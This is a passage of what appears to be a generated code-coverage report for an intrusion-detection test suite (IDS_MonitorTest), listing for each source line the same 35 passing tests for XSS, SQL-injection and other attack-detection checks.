class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel324": { - "header": "35 tests cover line 324", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel325": { - "header": "35 tests cover line 325", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel326": { - "header": "35 tests cover line 326", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel327": { - "header": "35 tests cover line 327", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel328": { - "header": "35 tests cover line 328", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel329": { - "header": "35 tests cover line 329", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel330": { - "header": "35 tests cover line 330", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel331": { - "header": "35 tests cover line 331", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel334": { - "header": "35 tests cover line 334", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel335": { - "header": "35 tests cover line 335", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel336": { - "header": "35 tests cover line 336", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel338": { - "header": "35 tests cover line 338", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li 